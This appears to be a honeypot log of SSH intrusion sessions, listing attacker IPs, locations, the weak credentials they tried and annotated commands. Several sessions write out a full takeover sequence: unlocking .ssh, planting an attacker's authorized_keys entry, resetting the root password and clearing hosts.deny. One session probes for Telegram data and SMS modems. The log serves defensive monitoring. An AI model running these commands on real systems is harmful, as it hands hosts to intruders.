$ grep 'model name' /proc/cpuinfo 2>/dev/null | head -1 | cut -d ':' -f2- | sed 's/^ *//' | xargs || echo unknown
🎭 strudel_root_4 (91.92.240.199) β€” Frankfurt am Main, Germany Β· 7 sessions Β· 28 cmds
2026-03-31 02:23 EDT Β· as root/1234, root/123456, root/12345678
export β†’ uname β†’ cat
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—7
$ uname -s -v -n -m 2 > /dev/null Γ—7
$ uname -m 2 > /dev/null Γ—7
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—7
🎭 blitz_root_2 (130.12.181.103) β€” Frankfurt am Main, Germany Β· 1 session Β· 1 cmd
2026-03-30 21:09 EDT Β· as oracle/abc12345
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a
↳ CPU profiling
🎭 yankee_root_15 (161.35.112.135) β€” North Bergen, United States Β· 6 sessions Β· 24 cmds
2026-03-30 05:41 EDT Β· as root/123456, root/12345678, root/admin
export β†’ uname β†’ cat (repeated export 4x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—6
$ uname -s -v -n -m 2 > /dev/null Γ—6
$ uname -m 2 > /dev/null Γ—6
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—6
🎭 wok_root_31 (118.145.231.71) β€” Haidian, China Β· 1 session Β· 1 cmd
2026-03-29 21:51 EDT Β· as root/123456
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -s -m
🎭 chai_root_10 (103.155.57.54) β€” Noida, India Β· 1 session Β· 19 cmds
2026-03-29 21:34 EDT Β· as root/P@ssw0rd1!
file attribute tampering β†’ SSH key persistence β†’ CPU profiling β†’ execute from /tmp β†’ persistence setup
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
↳ CPU profiling
$ echo "root:ejuw5sG0pT7z"|chpasswd|bash
$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;
↳ execute from /tmp
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
↳ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
↳ persistence setup
$ w
↳ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
↳ CPU profiling
$ top
↳ process monitoring
$ uname
↳ OS identification
$ uname -a
↳ OS/kernel identification
$ whoami
↳ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
🎭 strudel_root (130.12.181.101) β€” Frankfurt am Main, Germany Β· 1 session Β· 1 cmd
2026-03-29 19:32 EDT Β· as oracle/1q2w3e!@#
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a
↳ CPU profiling
🎭 ghost_sol_2 (206.123.145.50) β€” Tirana, Albania Β· 1 session Β· 1 cmd
2026-03-29 17:16 EDT Β· as mysql/mysql
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a
↳ CPU profiling
🎭 phantom_root_3 (206.123.145.54) β€” Tirana, Albania Β· 1 session Β· 1 cmd
2026-03-29 16:52 EDT Β· as oracle/ORACLE
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a
↳ CPU profiling
🎭 lantern_root_23 (111.36.57.69) β€” Jining, China Β· 1 session Β· 1 cmd
2026-03-29 16:10 EDT Β· as root/123456
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -s -m
🎭 dragon_root_18 (39.171.252.186) β€” Hangzhou, China Β· 1 session Β· 1 cmd
2026-03-29 15:21 EDT Β· as root/password
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -s -m
🎭 shadow_root_2 (206.123.145.49) β€” Tirana, Albania Β· 1 session Β· 1 cmd
2026-03-29 14:10 EDT Β· as oracle/a
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a
↳ CPU profiling
🎭 phantom_root_5 (206.123.145.75) β€” Tirana, Albania Β· 1 session Β· 1 cmd
2026-03-29 13:51 EDT Β· as oracle/oracle123
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a
↳ CPU profiling
🎭 shadow_sol_4 (206.123.145.69) β€” Tirana, Albania Β· 1 session Β· 1 cmd
2026-03-29 13:46 EDT Β· as oracle/123456
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a
↳ CPU profiling
🎭 autobahn_root_4 (130.12.181.100) β€” Frankfurt am Main, Germany Β· 1 session Β· 1 cmd
2026-03-29 13:09 EDT Β· as oracle/pass1234
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a
↳ CPU profiling
🎭 strudel_root_2 (130.12.181.97) β€” Frankfurt am Main, Germany Β· 1 session Β· 1 cmd
2026-03-29 12:52 EDT Β· as root/password
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a
↳ CPU profiling
🎭 rogue_root_10 (206.123.145.70) β€” Tirana, Albania Β· 1 session Β· 1 cmd
2026-03-29 09:08 EDT Β· as pi/raspberry
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a
↳ CPU profiling
🎭 ghost_root_69 (103.193.178.248) β€” Cicurug, Indonesia Β· 1 session Β· 19 cmds
2026-03-29 08:33 EDT Β· as root/12345678
chattr -ia .ssh β†’ rm -rf .ssh β†’ mkdir .ssh β†’ echo "root:z7FzRkcddhoS"|chpasswd|bash β†’ cat /proc/cpuinfo | grep name | wc -l β†’ cat /proc/cpuinfo | grep model | grep name | wc -l β†’ free -m | grep Mem β†’ ls -lh $(which ls) β†’
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
↳ CPU profiling
$ echo "root:z7FzRkcddhoS"|chpasswd|bash
$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;
↳ execute from /tmp
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
↳ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
↳ persistence setup
$ w
↳ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
↳ CPU profiling
$ top
↳ process monitoring
$ uname
↳ OS identification
$ uname -a
↳ OS/kernel identification
$ whoami
↳ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
🎭 satay_root_3 (202.165.15.88) β€” Kuala Lumpur, Malaysia Β· 4 sessions Β· 4 cmds
2026-03-21 05:14 EDT Β· as root/123456, root/root
Ran uname 3x across 3 sessions β€” automated OS fingerprinting.
$ uname -s -m Γ—4
🎭 lantern_root_24 (220.178.8.154) β€” Hefei, China Β· 1 session Β· 9 cmds
2026-03-29 06:16 EDT Β· as root/root
network mapping β†’ OS/kernel identification β†’ CPU profiling
$ /ip cloud print
$ ifconfig
↳ network mapping
$ uname -a
↳ OS/kernel identification
$ cat /proc/cpuinfo
↳ CPU profiling
$ ps | grep '[Mm]iner'
$ ps -ef | grep '[Mm]iner'
$ ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*
$ locate D877F783D5D3EF8Cs
$ echo Hi | cat -n
🎭 jade_root_15 (1.192.202.92) β€” Zhengzhou, China Β· 1 session Β· 1 cmd
2026-03-29 03:41 EDT Β· as root/password
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -s -m
🎭 cipher_sol_2 (206.123.145.53) β€” Tirana, Albania Β· 1 session Β· 1 cmd
2026-03-29 03:20 EDT Β· as miner/miner
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a
↳ CPU profiling
🎭 wraith_root_18 (206.123.145.46) β€” Tirana, Albania Β· 1 session Β· 1 cmd
2026-03-29 02:13 EDT Β· as admin/123456
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a
↳ CPU profiling
🎭 autobahn_root_7 (130.12.181.102) β€” Frankfurt am Main, Germany Β· 1 session Β· 1 cmd
2026-03-29 02:09 EDT Β· as root/admin
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a
↳ CPU profiling
🎭 ghost_root_30 (206.123.145.20) β€” Tirana, Albania Β· 1 session Β· 1 cmd
2026-03-29 01:59 EDT Β· as oracle/Oracle123
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a
↳ CPU profiling
🎭 wraith_root_43 (206.123.145.57) β€” Tirana, Albania Β· 1 session Β· 1 cmd
2026-03-29 00:39 EDT Β· as oracle/abc123456
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a
↳ CPU profiling
🎭 shadow_root_44 (206.123.145.76) β€” Tirana, Albania Β· 1 session Β· 1 cmd
2026-03-29 00:32 EDT Β· as oracle/thinker
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a
↳ CPU profiling
🎭 wraith_root_44 (206.123.145.71) β€” Tirana, Albania Β· 1 session Β· 1 cmd
2026-03-28 23:52 EDT Β· as test/test
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a
↳ CPU profiling
🎭 strudel_root_9 (130.12.181.109) β€” Frankfurt am Main, Germany Β· 1 session Β· 1 cmd
2026-03-28 23:20 EDT Β· as oracle/oracle123456
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a
↳ CPU profiling
🎭 shadow_root_45 (206.123.145.77) β€” Tirana, Albania Β· 1 session Β· 1 cmd
2026-03-28 22:40 EDT Β· as user/password
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a
↳ CPU profiling
🎭 pretzel_root_8 (130.12.181.108) β€” Frankfurt am Main, Germany Β· 1 session Β· 1 cmd
2026-03-28 21:22 EDT Β· as oracle/0r@cl3
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a
↳ CPU profiling
🎭 pretzel_root_9 (130.12.181.106) β€” Frankfurt am Main, Germany Β· 1 session Β· 1 cmd
2026-03-28 20:44 EDT Β· as admin/admin
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a
↳ CPU profiling
🎭 cipher_root_65 (206.123.145.78) β€” Tirana, Albania Β· 1 session Β· 1 cmd
2026-03-28 20:41 EDT Β· as ubuntu/password
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a
↳ CPU profiling
🎭 ghost_root_70 (206.123.145.51) β€” Tirana, Albania Β· 1 session Β· 1 cmd
2026-03-28 20:37 EDT Β· as oracle/oracle
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a
↳ CPU profiling
🎭 cipher_root_66 (206.123.145.52) β€” Tirana, Albania Β· 1 session Β· 1 cmd
2026-03-28 20:35 EDT Β· as oracle/passw0rd
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a
↳ CPU profiling
🎭 pretzel_root_10 (130.12.181.104) β€” Frankfurt am Main, Germany Β· 1 session Β· 1 cmd
2026-03-28 19:30 EDT Β· as oracle/916495a3@c4e778B8824fa763158be46
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a
↳ CPU profiling
🎭 fog_sol (46.101.72.19) β€” Slough, United Kingdom Β· 2 sessions Β· 2 cmds
2026-03-28 18:26 EDT Β· as sol/sol, solana/solana
Ran uname 2x across 2 sessions β€” automated OS fingerprinting.
$ /bin/./uname -s -v -n -r -m Γ—2
↳ obfuscated system check
🎭 beefeater_sol (144.126.192.9) β€” Slough, United Kingdom Β· 3 sessions Β· 3 cmds
2026-03-28 18:23 EDT Β· as sol/sol, solana/solana, ubuntu/ubuntu
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ /bin/./uname -s -v -n -r -m Γ—3
↳ obfuscated system check
🎭 phantom_root_41 (206.123.145.56) β€” Tirana, Albania Β· 1 session Β· 1 cmd
2026-03-28 18:20 EDT Β· as oracle/password
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a
↳ CPU profiling
🎭 cipher_root_67 (206.123.145.48) β€” Tirana, Albania Β· 1 session Β· 1 cmd
2026-03-28 18:17 EDT Β· as root/123456
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a
↳ CPU profiling
🎭 wraith_root_45 (206.123.145.79) β€” Tirana, Albania Β· 1 session Β· 1 cmd
2026-03-28 16:46 EDT Β· as oracle/oracle123#
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a
↳ CPU profiling
🎭 rogue_root_41 (151.242.30.119) β€” Centurion, South Africa Β· 1 session Β· 19 cmds
2026-03-28 16:44 EDT Β· as root/P@ssw0rd1!
file attribute tampering β†’ SSH key persistence β†’ CPU profiling β†’ execute from /tmp β†’ persistence setup
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
↳ CPU profiling
$ echo "root:TWjDAtio5xSw"|chpasswd|bash
$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;
↳ execute from /tmp
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
↳ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
↳ persistence setup
$ w
↳ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
↳ CPU profiling
$ top
↳ process monitoring
$ uname
↳ OS identification
$ uname -a
↳ OS/kernel identification
$ whoami
↳ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
🎭 pretzel_root_11 (130.12.181.99) β€” Frankfurt am Main, Germany Β· 1 session Β· 1 cmd
2026-03-28 15:59 EDT Β· as postgres/postgres
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a
↳ CPU profiling
🎭 strudel_root_10 (130.12.181.98) β€” Frankfurt am Main, Germany Β· 1 session Β· 1 cmd
2026-03-28 15:13 EDT Β· as test/123456
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a
↳ CPU profiling
🎭 autobahn_root_3 (45.82.123.99) β€” Frankfurt am Main, Germany Β· 11 sessions Β· 11 cmds
2026-03-26 12:02 EDT Β· as root/1234, root/123456, root/12345678
successful root login with weak credentials β†’ immediate environment reconnaissance (env, hostname, uname) β†’ hardware profiling via /proc/cpuinfo β†’ uptime and whoami verification β†’ execution of wget payload β†’ chmod +x β†’ binary execution β†’ attempted persistence via crontab
$ uptime Γ—2
↳ uptime check
$ whoami Γ—3
↳ privilege check
$ ssh -V
$ env | head -10
$ hostname
↳ hostname discovery
$ pwd
$ uname -a
↳ OS/kernel identification
$ cat /proc/cpuinfo | grep 'model name' | head -1
↳ CPU profiling
🎭 burger_root_10 (5.161.233.230) β€” Ashburn, United States Β· 3 sessions Β· 3 cmds
2026-03-28 03:35 EDT Β· as root/1234, root/123456, root/12345678
history snooping β†’ privilege check β†’ OS/kernel identification
$ history | tail -5
↳ history snooping
$ whoami
↳ privilege check
$ uname -a
↳ OS/kernel identification
🎭 capoeira_root_8 (177.36.214.46) β€” Pirapora, Brazil Β· 1 session Β· 19 cmds
2026-03-27 19:52 EDT Β· as root/toor
file attribute tampering β†’ SSH key persistence β†’ CPU profiling β†’ execute from /tmp β†’ persistence setup
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
↳ CPU profiling
$ echo "root:1EqTznkWEgPI"|chpasswd|bash
$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;
↳ execute from /tmp
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
↳ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
↳ persistence setup
$ w
↳ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
↳ CPU profiling
$ top
↳ process monitoring
$ uname
↳ OS identification
$ uname -a
↳ OS/kernel identification
$ whoami
↳ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
🎭 burger_root (20.49.0.100) β€” Boydton, United States Β· 1 session Β· 19 cmds
2026-03-27 19:49 EDT Β· as root/toor
chattr -ia .ssh β†’ rm -rf .ssh β†’ mkdir .ssh β†’ echo "ssh-rsa" β†’ cat /proc/cpuinfo | grep name β†’ echo "root:fjC0NPHKwbhz"|chpasswd β†’ pkill -9 secure.sh β†’ echo > /etc/hosts β†’ cat /proc/cpuinfo | grep model β†’ free -m | grep Mem β†’ ls
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
↳ CPU profiling
$ echo "root:fjC0NPHKwbhz"|chpasswd|bash
$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;
↳ execute from /tmp
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
↳ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
↳ persistence setup
$ w
↳ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
↳ CPU profiling
$ top
↳ process monitoring
$ uname
↳ OS identification
$ uname -a
↳ OS/kernel identification
$ whoami
↳ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
🎭 rogue_root_42 (207.46.224.91) β€” Singapore, Singapore Β· 3 sessions Β· 3 cmds
2026-03-27 08:31 EDT Β· as root/1234, root/123456, root/12345678
history snooping β†’ env β†’ ls
$ history | tail -5
↳ history snooping
$ env | head -10
$ ls -la /
🎭 autobahn_root_8 (213.165.52.102) β€” Frankfurt am Main, Germany Β· 3 sessions Β· 3 cmds
2026-03-26 07:03 EDT Β· as root/123456
mount β†’ env β†’ pwd
$ mount | head -5
$ env | head -10
$ pwd
🎭 jade_root_16 (150.138.182.190) β€” Jinan, China Β· 1 session Β· 1 cmd
2026-03-27 09:13 EDT Β· as root/root
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -s -m
🎭 autobahn_root_14 (64.188.119.209) β€” Frankfurt am Main, Germany Β· 10 sessions Β· 40 cmds
2026-03-26 14:27 EDT Β· as admin/123456, admin/admin123, admin/password
export β†’ uname β†’ cat (repeated export 3x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo 